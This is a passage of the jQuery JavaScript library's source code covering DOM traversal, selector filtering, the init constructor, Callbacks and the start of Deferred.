{\n\t\t\tif ( truncate && jQuery( elem ).is( until ) ) {\n\t\t\t\tbreak;\n\t\t\t}\n\t\t\tmatched.push( elem );\n\t\t}\n\t}\n\treturn matched;\n};\n\n\nvar siblings = function( n, elem ) {\n\tvar matched = [];\n\n\tfor ( ; n; n = n.nextSibling ) {\n\t\tif ( n.nodeType === 1 && n !== elem ) {\n\t\t\tmatched.push( n );\n\t\t}\n\t}\n\n\treturn matched;\n};\n\n\nvar rneedsContext = jQuery.expr.match.needsContext;\n\n\n\nfunction nodeName( elem, name ) {\n\n return elem.nodeName && elem.nodeName.toLowerCase() === name.toLowerCase();\n\n};\nvar rsingleTag = ( /^<([a-z][^\\/\\0>:\\x20\\t\\r\\n\\f]*)[\\x20\\t\\r\\n\\f]*\\/?>(?:<\\/\\1>|)$/i );\n\n\n\n// Implement the identical functionality for filter and not\nfunction winnow( elements, qualifier, not ) {\n\tif ( isFunction( qualifier ) ) {\n\t\treturn jQuery.grep( elements, function( elem, i ) {\n\t\t\treturn !!qualifier.call( elem, i, elem ) !== not;\n\t\t} );\n\t}\n\n\t// Single element\n\tif ( qualifier.nodeType ) {\n\t\treturn jQuery.grep( elements, function( elem ) {\n\t\t\treturn ( elem === qualifier ) !== not;\n\t\t} );\n\t}\n\n\t// Arraylike of elements (jQuery, arguments, Array)\n\tif ( typeof qualifier !== \"string\" ) {\n\t\treturn jQuery.grep( elements, function( elem ) {\n\t\t\treturn ( indexOf.call( qualifier, elem ) > -1 ) !== not;\n\t\t} );\n\t}\n\n\t// Filtered directly for both simple and complex selectors\n\treturn jQuery.filter( qualifier, elements, not );\n}\n\njQuery.filter = function( expr, elems, not ) {\n\tvar elem = elems[ 0 ];\n\n\tif ( not ) {\n\t\texpr = \":not(\" + expr + \")\";\n\t}\n\n\tif ( elems.length === 1 && elem.nodeType === 1 ) {\n\t\treturn jQuery.find.matchesSelector( elem, expr ) ? [ elem ] : [];\n\t}\n\n\treturn jQuery.find.matches( expr, jQuery.grep( elems, function( elem ) {\n\t\treturn elem.nodeType === 1;\n\t} ) );\n};\n\njQuery.fn.extend( {\n\tfind: function( selector ) {\n\t\tvar i, ret,\n\t\t\tlen = this.length,\n\t\t\tself = this;\n\n\t\tif ( typeof selector !== \"string\" ) {\n\t\t\treturn this.pushStack( jQuery( selector ).filter( function() {\n\t\t\t\tfor ( i = 0; i < len; i++ ) {\n\t\t\t\t\tif ( jQuery.contains( self[ i ], this ) ) {\n\t\t\t\t\t\treturn true;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t} ) );\n\t\t}\n\n\t\tret = this.pushStack( [] );\n\n\t\tfor ( i = 0; i < len; i++ ) {\n\t\t\tjQuery.find( selector, self[ i ], ret );\n\t\t}\n\n\t\treturn len > 1 ? jQuery.uniqueSort( ret ) : ret;\n\t},\n\tfilter: function( selector ) {\n\t\treturn this.pushStack( winnow( this, selector || [], false ) );\n\t},\n\tnot: function( selector ) {\n\t\treturn this.pushStack( winnow( this, selector || [], true ) );\n\t},\n\tis: function( selector ) {\n\t\treturn !!winnow(\n\t\t\tthis,\n\n\t\t\t// If this is a positional/relative selector, check membership in the returned set\n\t\t\t// so $(\"p:first\").is(\"p:last\") won't return true for a doc with two \"p\".\n\t\t\ttypeof selector === \"string\" && rneedsContext.test( selector ) ?\n\t\t\t\tjQuery( selector ) :\n\t\t\t\tselector || [],\n\t\t\tfalse\n\t\t).length;\n\t}\n} );\n\n\n// Initialize a jQuery object\n\n\n// A central reference to the root jQuery(document)\nvar rootjQuery,\n\n\t// A simple way to check for HTML strings\n\t// Prioritize #id over <tag> to avoid XSS via location.hash (#9521)\n\t// Strict HTML recognition (#11290: must start with <)\n\t// Shortcut simple #id case for speed\n\trquickExpr = /^(?:\\s*(<[\\w\\W]+>)[^>]*|#([\\w-]+))$/,\n\n\tinit = jQuery.fn.init = function( selector, context, root ) {\n\t\tvar match, elem;\n\n\t\t// HANDLE: $(\"\"), $(null), $(undefined), $(false)\n\t\tif ( !selector ) {\n\t\t\treturn this;\n\t\t}\n\n\t\t// Method init() accepts an alternate rootjQuery\n\t\t// so migrate can support jQuery.sub (gh-2101)\n\t\troot = root || rootjQuery;\n\n\t\t// Handle HTML strings\n\t\tif ( typeof selector === \"string\" ) {\n\t\t\tif ( selector[ 0 ] === \"<\" &&\n\t\t\t\tselector[ selector.length - 1 ] === \">\" &&\n\t\t\t\tselector.length >= 3 ) {\n\n\t\t\t\t// Assume that strings that start and end with <> are HTML and skip the regex check\n\t\t\t\tmatch = [ null, selector, null ];\n\n\t\t\t} else {\n\t\t\t\tmatch = rquickExpr.exec( selector );\n\t\t\t}\n\n\t\t\t// Match html or make sure no context is specified for #id\n\t\t\tif ( match && ( match[ 1 ] || !context ) ) {\n\n\t\t\t\t// HANDLE: $(html) -> $(array)\n\t\t\t\tif ( match[ 1 ] ) {\n\t\t\t\t\tcontext = context instanceof jQuery ? context[ 0 ] : context;\n\n\t\t\t\t\t// Option to run scripts is true for back-compat\n\t\t\t\t\t// Intentionally let the error be thrown if parseHTML is not present\n\t\t\t\t\tjQuery.merge( this, jQuery.parseHTML(\n\t\t\t\t\t\tmatch[ 1 ],\n\t\t\t\t\t\tcontext && context.nodeType ? context.ownerDocument || context : document,\n\t\t\t\t\t\ttrue\n\t\t\t\t\t) );\n\n\t\t\t\t\t// HANDLE: $(html, props)\n\t\t\t\t\tif ( rsingleTag.test( match[ 1 ] ) && jQuery.isPlainObject( context ) ) {\n\t\t\t\t\t\tfor ( match in context ) {\n\n\t\t\t\t\t\t\t// Properties of context are called as methods if possible\n\t\t\t\t\t\t\tif ( isFunction( this[ match ] ) ) {\n\t\t\t\t\t\t\t\tthis[ match ]( context[ match ] );\n\n\t\t\t\t\t\t\t// ...and otherwise set as attributes\n\t\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t\tthis.attr( match, context[ match ] );\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\n\t\t\t\t\treturn this;\n\n\t\t\t\t// HANDLE: $(#id)\n\t\t\t\t} else {\n\t\t\t\t\telem = document.getElementById( match[ 2 ] );\n\n\t\t\t\t\tif ( elem ) {\n\n\t\t\t\t\t\t// Inject the element directly into the jQuery object\n\t\t\t\t\t\tthis[ 0 ] = elem;\n\t\t\t\t\t\tthis.length = 1;\n\t\t\t\t\t}\n\t\t\t\t\treturn this;\n\t\t\t\t}\n\n\t\t\t// HANDLE: $(expr, $(...))\n\t\t\t} else if ( !context || context.jquery ) {\n\t\t\t\treturn ( context || root ).find( selector );\n\n\t\t\t// HANDLE: $(expr, context)\n\t\t\t// (which is just equivalent to: $(context).find(expr)\n\t\t\t} else {\n\t\t\t\treturn this.constructor( context ).find( selector );\n\t\t\t}\n\n\t\t// HANDLE: $(DOMElement)\n\t\t} else if ( selector.nodeType ) {\n\t\t\tthis[ 0 ] = selector;\n\t\t\tthis.length = 1;\n\t\t\treturn this;\n\n\t\t// HANDLE: $(function)\n\t\t// Shortcut for document ready\n\t\t} else if ( isFunction( selector ) ) {\n\t\t\treturn root.ready !== undefined ?\n\t\t\t\troot.ready( selector ) :\n\n\t\t\t\t// Execute immediately if ready is not present\n\t\t\t\tselector( jQuery );\n\t\t}\n\n\t\treturn jQuery.makeArray( selector, this );\n\t};\n\n// Give the init function the jQuery prototype for later instantiation\ninit.prototype = jQuery.fn;\n\n// Initialize central reference\nrootjQuery = jQuery( document );\n\n\nvar rparentsprev = /^(?:parents|prev(?:Until|All))/,\n\n\t// Methods guaranteed to produce a unique set when starting from a unique set\n\tguaranteedUnique = {\n\t\tchildren: true,\n\t\tcontents: true,\n\t\tnext: true,\n\t\tprev: true\n\t};\n\njQuery.fn.extend( {\n\thas: function( target ) {\n\t\tvar targets = jQuery( target, this ),\n\t\t\tl = targets.length;\n\n\t\treturn this.filter( function() {\n\t\t\tvar i = 0;\n\t\t\tfor ( ; i < l; i++ ) {\n\t\t\t\tif ( jQuery.contains( this, targets[ i ] ) ) {\n\t\t\t\t\treturn true;\n\t\t\t\t}\n\t\t\t}\n\t\t} );\n\t},\n\n\tclosest: function( selectors, context ) {\n\t\tvar cur,\n\t\t\ti = 0,\n\t\t\tl = this.length,\n\t\t\tmatched = [],\n\t\t\ttargets = typeof selectors !== \"string\" && jQuery( selectors );\n\n\t\t// Positional selectors never match, since there's no _selection_ context\n\t\tif ( !rneedsContext.test( selectors ) ) {\n\t\t\tfor ( ; i < l; i++ ) {\n\t\t\t\tfor ( cur = this[ i ]; cur && cur !== context; cur = cur.parentNode ) {\n\n\t\t\t\t\t// Always skip document fragments\n\t\t\t\t\tif ( cur.nodeType < 11 && ( targets ?\n\t\t\t\t\t\ttargets.index( cur ) > -1 :\n\n\t\t\t\t\t\t// Don't pass non-elements to Sizzle\n\t\t\t\t\t\tcur.nodeType === 1 &&\n\t\t\t\t\t\t\tjQuery.find.matchesSelector( cur, selectors ) ) ) {\n\n\t\t\t\t\t\tmatched.push( cur );\n\t\t\t\t\t\tbreak;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\treturn this.pushStack( matched.length > 1 ? jQuery.uniqueSort( matched ) : matched );\n\t},\n\n\t// Determine the position of an element within the set\n\tindex: function( elem ) {\n\n\t\t// No argument, return index in parent\n\t\tif ( !elem ) {\n\t\t\treturn ( this[ 0 ] && this[ 0 ].parentNode ) ? this.first().prevAll().length : -1;\n\t\t}\n\n\t\t// Index in selector\n\t\tif ( typeof elem === \"string\" ) {\n\t\t\treturn indexOf.call( jQuery( elem ), this[ 0 ] );\n\t\t}\n\n\t\t// Locate the position of the desired element\n\t\treturn indexOf.call( this,\n\n\t\t\t// If it receives a jQuery object, the first element is used\n\t\t\telem.jquery ? elem[ 0 ] : elem\n\t\t);\n\t},\n\n\tadd: function( selector, context ) {\n\t\treturn this.pushStack(\n\t\t\tjQuery.uniqueSort(\n\t\t\t\tjQuery.merge( this.get(), jQuery( selector, context ) )\n\t\t\t)\n\t\t);\n\t},\n\n\taddBack: function( selector ) {\n\t\treturn this.add( selector == null ?\n\t\t\tthis.prevObject : this.prevObject.filter( selector )\n\t\t);\n\t}\n} );\n\nfunction sibling( cur, dir ) {\n\twhile ( ( cur = cur[ dir ] ) && cur.nodeType !== 1 ) {}\n\treturn cur;\n}\n\njQuery.each( {\n\tparent: function( elem ) {\n\t\tvar parent = elem.parentNode;\n\t\treturn parent && parent.nodeType !== 11 ? parent : null;\n\t},\n\tparents: function( elem ) {\n\t\treturn dir( elem, \"parentNode\" );\n\t},\n\tparentsUntil: function( elem, i, until ) {\n\t\treturn dir( elem, \"parentNode\", until );\n\t},\n\tnext: function( elem ) {\n\t\treturn sibling( elem, \"nextSibling\" );\n\t},\n\tprev: function( elem ) {\n\t\treturn sibling( elem, \"previousSibling\" );\n\t},\n\tnextAll: function( elem ) {\n\t\treturn dir( elem, \"nextSibling\" );\n\t},\n\tprevAll: function( elem ) {\n\t\treturn dir( elem, \"previousSibling\" );\n\t},\n\tnextUntil: function( elem, i, until ) {\n\t\treturn dir( elem, \"nextSibling\", until );\n\t},\n\tprevUntil: function( elem, i, until ) {\n\t\treturn dir( elem, \"previousSibling\", until );\n\t},\n\tsiblings: function( elem ) {\n\t\treturn siblings( ( elem.parentNode || {} ).firstChild, elem );\n\t},\n\tchildren: function( elem ) {\n\t\treturn siblings( elem.firstChild );\n\t},\n\tcontents: function( elem ) {\n if ( nodeName( elem, \"iframe\" ) ) {\n return elem.contentDocument;\n }\n\n // Support: IE 9 - 11 only, iOS 7 only, Android Browser <=4.3 only\n // Treat the template element as a regular one in browsers that\n // don't support it.\n if ( nodeName( elem, \"template\" ) ) {\n elem = elem.content || elem;\n }\n\n return jQuery.merge( [], elem.childNodes );\n\t}\n}, function( name, fn ) {\n\tjQuery.fn[ name ] = function( until, selector ) {\n\t\tvar matched = jQuery.map( this, fn, until );\n\n\t\tif ( name.slice( -5 ) !== \"Until\" ) {\n\t\t\tselector = until;\n\t\t}\n\n\t\tif ( selector && typeof selector === \"string\" ) {\n\t\t\tmatched = jQuery.filter( selector, matched );\n\t\t}\n\n\t\tif ( this.length > 1 ) {\n\n\t\t\t// Remove duplicates\n\t\t\tif ( !guaranteedUnique[ name ] ) {\n\t\t\t\tjQuery.uniqueSort( matched );\n\t\t\t}\n\n\t\t\t// Reverse order for parents* and prev-derivatives\n\t\t\tif ( rparentsprev.test( name ) ) {\n\t\t\t\tmatched.reverse();\n\t\t\t}\n\t\t}\n\n\t\treturn this.pushStack( matched );\n\t};\n} );\nvar rnothtmlwhite = ( /[^\\x20\\t\\r\\n\\f]+/g );\n\n\n\n// Convert String-formatted options into Object-formatted ones\nfunction createOptions( options ) {\n\tvar object = {};\n\tjQuery.each( options.match( rnothtmlwhite ) || [], function( _, flag ) {\n\t\tobject[ flag ] = true;\n\t} );\n\treturn object;\n}\n\n/*\n * Create a callback list using the following parameters:\n *\n *\toptions: an optional list of space-separated options that will change how\n *\t\t\tthe callback list behaves or a more traditional option object\n *\n * By default a callback list will act like an event callback list and can be\n * \"fired\" multiple times.\n *\n * Possible options:\n *\n *\tonce:\t\t\twill ensure the callback list can only be fired once (like a Deferred)\n *\n *\tmemory:\t\t\twill keep track of previous values and will call any callback added\n *\t\t\t\t\tafter the list has been fired right away with the latest \"memorized\"\n *\t\t\t\t\tvalues (like a Deferred)\n *\n *\tunique:\t\t\twill ensure a callback can only be added once (no duplicate in the list)\n *\n *\tstopOnFalse:\tinterrupt callings when a callback returns false\n *\n */\njQuery.Callbacks = function( options ) {\n\n\t// Convert options from String-formatted to Object-formatted if needed\n\t// (we check in cache first)\n\toptions = typeof options === \"string\" ?\n\t\tcreateOptions( options ) :\n\t\tjQuery.extend( {}, options );\n\n\tvar // Flag to know if list is currently firing\n\t\tfiring,\n\n\t\t// Last fire value for non-forgettable lists\n\t\tmemory,\n\n\t\t// Flag to know if list was already fired\n\t\tfired,\n\n\t\t// Flag to prevent firing\n\t\tlocked,\n\n\t\t// Actual callback list\n\t\tlist = [],\n\n\t\t// Queue of execution data for repeatable lists\n\t\tqueue = [],\n\n\t\t// Index of currently firing callback (modified by add/remove as needed)\n\t\tfiringIndex = -1,\n\n\t\t// Fire callbacks\n\t\tfire = function() {\n\n\t\t\t// Enforce single-firing\n\t\t\tlocked = locked || options.once;\n\n\t\t\t// Execute callbacks for all pending executions,\n\t\t\t// respecting firingIndex overrides and runtime changes\n\t\t\tfired = firing = true;\n\t\t\tfor ( ; queue.length; firingIndex = -1 ) {\n\t\t\t\tmemory = queue.shift();\n\t\t\t\twhile ( ++firingIndex < list.length ) {\n\n\t\t\t\t\t// Run callback and check for early termination\n\t\t\t\t\tif ( list[ firingIndex ].apply( memory[ 0 ], memory[ 1 ] ) === false &&\n\t\t\t\t\t\toptions.stopOnFalse ) {\n\n\t\t\t\t\t\t// Jump to end and forget the data so .add doesn't re-fire\n\t\t\t\t\t\tfiringIndex = list.length;\n\t\t\t\t\t\tmemory = false;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t// Forget the data if we're done with it\n\t\t\tif ( !options.memory ) {\n\t\t\t\tmemory = false;\n\t\t\t}\n\n\t\t\tfiring = false;\n\n\t\t\t// Clean up if we're done firing for good\n\t\t\tif ( locked ) {\n\n\t\t\t\t// Keep an empty list if we have data for future add calls\n\t\t\t\tif ( memory ) {\n\t\t\t\t\tlist = [];\n\n\t\t\t\t// Otherwise, this object is spent\n\t\t\t\t} else {\n\t\t\t\t\tlist = \"\";\n\t\t\t\t}\n\t\t\t}\n\t\t},\n\n\t\t// Actual Callbacks object\n\t\tself = {\n\n\t\t\t// Add a callback or a collection of callbacks to the list\n\t\t\tadd: function() {\n\t\t\t\tif ( list ) {\n\n\t\t\t\t\t// If we have memory from a past run, we should fire after adding\n\t\t\t\t\tif ( memory && !firing ) {\n\t\t\t\t\t\tfiringIndex = list.length - 1;\n\t\t\t\t\t\tqueue.push( memory );\n\t\t\t\t\t}\n\n\t\t\t\t\t( function add( args ) {\n\t\t\t\t\t\tjQuery.each( args, function( _, arg ) {\n\t\t\t\t\t\t\tif ( isFunction( arg ) ) {\n\t\t\t\t\t\t\t\tif ( !options.unique || !self.has( arg ) ) {\n\t\t\t\t\t\t\t\t\tlist.push( arg );\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t} else if ( arg && arg.length && toType( arg ) !== \"string\" ) {\n\n\t\t\t\t\t\t\t\t// Inspect recursively\n\t\t\t\t\t\t\t\tadd( arg );\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t} );\n\t\t\t\t\t} )( arguments );\n\n\t\t\t\t\tif ( memory && !firing ) {\n\t\t\t\t\t\tfire();\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\treturn this;\n\t\t\t},\n\n\t\t\t// Remove a callback from the list\n\t\t\tremove: function() {\n\t\t\t\tjQuery.each( arguments, function( _, arg ) {\n\t\t\t\t\tvar index;\n\t\t\t\t\twhile ( ( index = jQuery.inArray( arg, list, index ) ) > -1 ) {\n\t\t\t\t\t\tlist.splice( index, 1 );\n\n\t\t\t\t\t\t// Handle firing indexes\n\t\t\t\t\t\tif ( index <= firingIndex ) {\n\t\t\t\t\t\t\tfiringIndex--;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t} );\n\t\t\t\treturn this;\n\t\t\t},\n\n\t\t\t// Check if a given callback is in the list.\n\t\t\t// If no argument is given, return whether or not list has callbacks attached.\n\t\t\thas: function( fn ) {\n\t\t\t\treturn fn ?\n\t\t\t\t\tjQuery.inArray( fn, list ) > -1 :\n\t\t\t\t\tlist.length > 0;\n\t\t\t},\n\n\t\t\t// Remove all callbacks from the list\n\t\t\tempty: function() {\n\t\t\t\tif ( list ) {\n\t\t\t\t\tlist = [];\n\t\t\t\t}\n\t\t\t\treturn this;\n\t\t\t},\n\n\t\t\t// Disable .fire and .add\n\t\t\t// Abort any current/pending executions\n\t\t\t// Clear all callbacks and values\n\t\t\tdisable: function() {\n\t\t\t\tlocked = queue = [];\n\t\t\t\tlist = memory = \"\";\n\t\t\t\treturn this;\n\t\t\t},\n\t\t\tdisabled: function() {\n\t\t\t\treturn !list;\n\t\t\t},\n\n\t\t\t// Disable .fire\n\t\t\t// Also disable .add unless we have memory (since it would have no effect)\n\t\t\t// Abort any pending executions\n\t\t\tlock: function() {\n\t\t\t\tlocked = queue = [];\n\t\t\t\tif ( !memory && !firing ) {\n\t\t\t\t\tlist = memory = \"\";\n\t\t\t\t}\n\t\t\t\treturn this;\n\t\t\t},\n\t\t\tlocked: function() {\n\t\t\t\treturn !!locked;\n\t\t\t},\n\n\t\t\t// Call all callbacks with the given context and arguments\n\t\t\tfireWith: function( context, args ) {\n\t\t\t\tif ( !locked ) {\n\t\t\t\t\targs = args || [];\n\t\t\t\t\targs = [ context, args.slice ? args.slice() : args ];\n\t\t\t\t\tqueue.push( args );\n\t\t\t\t\tif ( !firing ) {\n\t\t\t\t\t\tfire();\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\treturn this;\n\t\t\t},\n\n\t\t\t// Call all the callbacks with the given arguments\n\t\t\tfire: function() {\n\t\t\t\tself.fireWith( this, arguments );\n\t\t\t\treturn this;\n\t\t\t},\n\n\t\t\t// To know if the callbacks have already been called at least once\n\t\t\tfired: function() {\n\t\t\t\treturn !!fired;\n\t\t\t}\n\t\t};\n\n\treturn self;\n};\n\n\nfunction Identity( v ) {\n\treturn v;\n}\nfunction Thrower( ex ) {\n\tthrow ex;\n}\n\nfunction adoptValue( value, resolve, reject, noValue ) {\n\tvar method;\n\n\ttry {\n\n\t\t// Check for promise aspect first to privilege synchronous behavior\n\t\tif ( value && isFunction( ( method = value.promise ) ) ) {\n\t\t\tmethod.call( value ).done( resolve ).fail( reject );\n\n\t\t// Other thenables\n\t\t} else if ( value && isFunction( ( method = value.then ) ) ) {\n\t\t\tmethod.call( value, resolve, reject );\n\n\t\t// Other non-thenables\n\t\t} else {\n\n\t\t\t// Control `resolve` arguments by letting Array#slice cast boolean `noValue` to integer:\n\t\t\t// * false: [ value ].slice( 0 ) => resolve( value )\n\t\t\t// * true: [ value ].slice( 1 ) => resolve()\n\t\t\tresolve.apply( undefined, [ value ].slice( noValue ) );\n\t\t}\n\n\t// For Promises/A+, convert exceptions into rejections\n\t// Since jQuery.when doesn't unwrap thenables, we can skip the extra checks appearing in\n\t// Deferred#then to conditionally suppress rejection.\n\t} catch ( value ) {\n\n\t\t// Support: Android 4.0 only\n\t\t// Strict mode functions invoked without .call/.apply get global-object context\n\t\treject.apply( undefined, [ value ] );\n\t}\n}\n\njQuery.extend( {\n\n\tDeferred: function( func ) {\n\t\tvar tuples = [\n\n\t\t\t\t// action, add listener, callbacks,\n\t\t\t\t// ... .then handlers, argument index, [final state]\n\t\t\t\t[ \"notify\", \"progress\", jQuery.Callbacks( \"memory\" ),\n\t\t\t\t\tjQuery.Callbacks( \"memory\" ), 2 ],\n\t\t\t\t[ \"resolve\", \"done\", jQuery.Callbacks( \"once memory\" ),\n\t\t\t\t\tjQuery.Callbacks( \"once memory\" ), 0, \"resolved\" ],\n\t\t\t\t[ \"reject\", \"fail\", jQuery.Callbacks( \"once memory\" ),\n\t\t\t\t\tjQuery.Callbacks( \"once memory\" ), 1, \"rejected\" ]\n\t\t\t],\n\t\t\tstate = \"pending\",\n\t\t\tpromise = {\n\t\t\t\tstate: function() {\n\t\t\t\t\treturn state;\n\t\t\t\t},\n\t\t\t\talways: function() {\n\t\t\t\t\tdeferred.done( arguments ).fail( arguments );\n\t\t\t\t\treturn this;\n\t\t\t\t},\n\t\t\t\t\"catch\": function( fn ) {\n\t\t\t\t\treturn promise.then( null, fn );\n\t\t\t\t},\n\n\t\t\t\t// Keep pipe for back-compat\n\t\t\t\tpipe: function( /* fnDone, fnFail, fnProgress */ ) {\n\t\t\t\t\tvar fns = arguments;\n\n\t\t\t\t\treturn jQuery.Deferred( function( newDefer ) {\n\t\t\t\t\t\tjQuery.each( tuples, function( i, tuple ) {\n\n\t\t\t\t\t\t\t// Map tuples (progress, done, fail) to arguments (done, fail, progress)\n\t\t\t\t\t\t\tvar fn = isFunction( fns[ tuple[ 4 ] ] ) && fns[ tuple[ 4 ] ];\n\n\t\t\t\t\t\t\t// deferred.progress(function() { bind to newDefer or newDefer.notify })\n\t\t\t\t\t\t\t// deferred.done(function() { bind to newDefer or newDefer.resolve })\n\t\t\t\t\t\t\t// deferred.fail(function() { bind to newDefer or newDefer.reject })\n\t\t\t\t\t\t\tdeferred[ tuple[ 1 ] ]( function() {\n\t\t\t\t\t\t\t\tvar returned = fn && fn.apply( this, arguments );\n\t\t\t\t\t\t\t\tif ( returned && isFunction( returned.promise ) ) {\n\t\t\t\t\t\t\t\t\treturned.promise()\n\t\t\t\t\t\t\t\t\t\t.progress( newDefer.notify )\n\t\t\t\t\t\t\t\t\t\t.done( newDefer.resolve )\n\t\t\t\t\t\t\t\t\t\t.fail( newDefer.reject );\n\t\t\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t\t\tnewDefer[ tuple[ 0 ] + \"With\" ](\n\t\t\t\t\t\t\t\t\t\tthis,\n\t\t\t\t\t\t\t\t\t\tfn ? [ returned ] : arguments\n\t\t\t\t\t\t\t\t\t);\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t} );\n\t\t\t\t\t\t} );\n\t\t\t\t\t\tfns = null;\n\t\t\t\t\t} ).promise();\n\t\t\t\t},\n\t\t\t\tthen: function( onFulfilled, onRejected, onProgress ) {\n\t\t\t\t\tvar maxDepth = 0;\n\t\t\t\t\tfunction resolve( depth, deferred, handler, special ) {\n\t\t\t\t\t\treturn function() {\n\t\t\t\t\t\t\tvar that = this,\n\t\t\t\t\t\t\t\targs = arguments,\n\t\t\t\t\t\t\t\tmightThrow = function() {\n\t\t\t\t\t\t\t\t\tvar returned, then;\n\n\t\t\t\t\t\t\t\t\t// Support: Promises/A+ section 2.3.3.3.3\n\t\t\t\t\t\t\t\t\t// https://promisesaplus.com/#point-59\n\t\t\t\t\t\t\t\t\t// Ignore double-resolution attempts\n\t\t\t\t\t\t\t\t\tif ( depth < maxDepth ) {\n\t\t\t\t\t\t\t\t\t\treturn;\n\t\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\t\treturned = handler.apply( that, args );\n\n\t\t\t\t\t\t\t\t\t// Support: Promises/A+ section 2.3.1\n\t\t\t\t\t\t\t\t\t// https://promisesaplus.com/#point-48\n\t\t\t\t\t\t\t\t\tif ( returned === deferred.promise() ) {\n\t\t\t\t\t\t\t\t\t\tthrow new TypeError( \"Thenable self-resolution\" );\n\t\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\t\t// Support: Promises/A+ sections 2.3.3.1, 3.5\n\t\t\t\t\t\t\t\t\t// https://promisesaplus.com/#point-54\n\t\t\t\t\t\t\t\t\t// https://promisesaplus.com/#point-75\n\t\t\t\t\t\t\t\t\t// Retrieve `then` only once\n\t\t\t\t\t\t\t\t\tthen = returned &&\n\n\t\t\t\t\t\t\t\t\t\t// Support: Promises/A+ section 2.3.4\n\t\t\t\t\t\t\t\t\t\t// https://promisesaplus.com/#point-64\n\t\t\t\t\t\t\t\t\t\t// Only check objects and functions for thenability\n\t\t\t\t\t\t\t\t\t\t( typeof returned === \"object\" ||\n\t\t\t\t\t\t\t\t\t\t\ttypeof returned === \"function\" ) &&\n\t\t\t\t\t\t\t\t\t\treturned.then;\n\n\t\t\t\t\t\t\t\t\t// Handle a returned thenable\n\t\t\t\t\t\t\t\t\tif ( isFunction( then ) ) {\n\n\t\t\t\t\t\t\t\t\t\t// Special processors (notify) just wait for resolution\n\t\t\t\t\t\t\t\t\t\tif ( special ) {\n\t\t\t\t\t\t\t\t\t\t\tthen.call(\n\t\t\t\t\t\t\t\t\t\t\t\treturned,\n\t\t\t\t\t\t\t\t\t\t\t\tresolve( maxDepth, deferred, Identity, special ),\n\t\t\t\t\t\t\t\t\t\t\t\tresolve( maxDepth, deferred, Thrower, special )\n\t\t\t\t\t\t\t\t\t\t\t);\n\n\t\t\t\t\t\t\t\t\t\t// Normal processors (resolve) also hook into progress\n\t\t\t\t\t\t\t\t\t\t} else {\n\n\t\t\t\t\t\t\t\t\t\t\t// ...and disregard older resolution values\n\t\t\t\t\t\t\t\t\t\t\tmaxDepth++;\n\n\t\t\t\t\t\t\t\t\t\t\tthen.call(\n\t\t\t\t\t\t\t\t\t\t\t\treturned,\n\t\t\t\t\t\t\t\t\t\t\t\tresolve( maxDepth, deferred, Identity, special ),\n\t\t\t\t\t\t\t\t\t\t\t\tresolve( maxDepth, deferred, Thrower, special ),\n\t\t\t\t\t\t\t\t\t\t\t\tresolve( maxDepth, deferred, Identity,\n\t\t\t\t\t\t\t\t\t\t\t\t\tdeferred.notifyWith )\n\t\t\t\t\t\t\t\t\t\t\t);\n\t\t\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\t\t// Handle all other returned values\n\t\t\t\t\t\t\t\t\t} else {\n\n\t\t\t\t\t\t\t\t\t\t// Only substitute handlers pass on context\n\t\t\t\t\t\t\t\t\t\t// and multiple values (non-spec behavior)\n\t\t\t\t\t\t\t\t\t\tif ( handler !== Identity ) {\n\t\t\t\t\t\t\t\t\t\t\tthat = undefined;\n\t\t\t\t\t\t\t\t\t\t\targs = [ returned ];\n\t\t\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\t\t\t// Process the value(s)\n\t\t\t\t\t\t\t\t\t\t// Default process is resolve\n\t\t\t\t\t\t\t\t\t\t( special || deferred.resolveWith )( that, args );\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t},\n\n\t\t\t\t\t\t\t\t// Only normal processors (resolve) catch and reject exceptions\n\t\t\t\t\t\t\t\tprocess = special ?\n\t\t\t\t\t\t\t\t\tmightThrow :\n\t\t\t\t\t\t\t\t\tfunction() {\n\t\t\t\t\t\t\t\t\t\ttry {\n\t\t\t\t\t\t\t\t\t\t\tmightThrow();\n\t\t\t\t\t\t\t\t\t\t} catch ( e ) {\n\n\t\t\t\t\t\t\t\t\t\t\tif ( jQuery.Deferred.exceptionHook ) {\n\t\t\t\t\t\t\t\t\t\t\t\tjQuery.Deferred.exceptionHook( e,\n\t\t\t\t\t\t\t\t\t\t\t\t\tprocess.stackTrace );\n\t\t\t\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\t\t\t\t// Support: Promises/A+ section 2.3.3.3.4.1\n\t\t\t\t\t\t\t\t\t\t\t// https://promisesaplus.com/#point-61\n\t\t\t\t\t\t\t\t\t\t\t// Ignore post-resolution exceptions\n\t\t\t\t\t\t\t\t\t\t\tif ( depth + 1 >= maxDepth ) {\n\n\t\t\t\t\t\t\t\t\t\t\t\t// Only substitute handlers pass on context\n\t\t\t\t\t\t\t\t\t\t\t\t// and multiple values (non-spec behavior)\n\t\t\t\t\t\t\t\t\t\t\t\tif ( handler !== Thrower ) {\n\t\t\t\t\t\t\t\t\t\t\t\t\tthat = undefined;\n\t\t\t\t\t\t\t\t\t\t\t\t\targs = [ e ];\n\t\t\t\t\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\t\t\t\t\tdeferred.rejectWith( that, args );\n\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t};\n\n\t\t\t\t\t\t\t// Support: Promises/A+ section 2.3.3.3.1\n\t\t\t\t\t\t\t// https://promisesaplus.com/#point-57\n\t\t\t\t\t\t\t// Re-resolve promises immediately to dodge false rejection from\n\t\t\t\t\t\t\t// subsequent 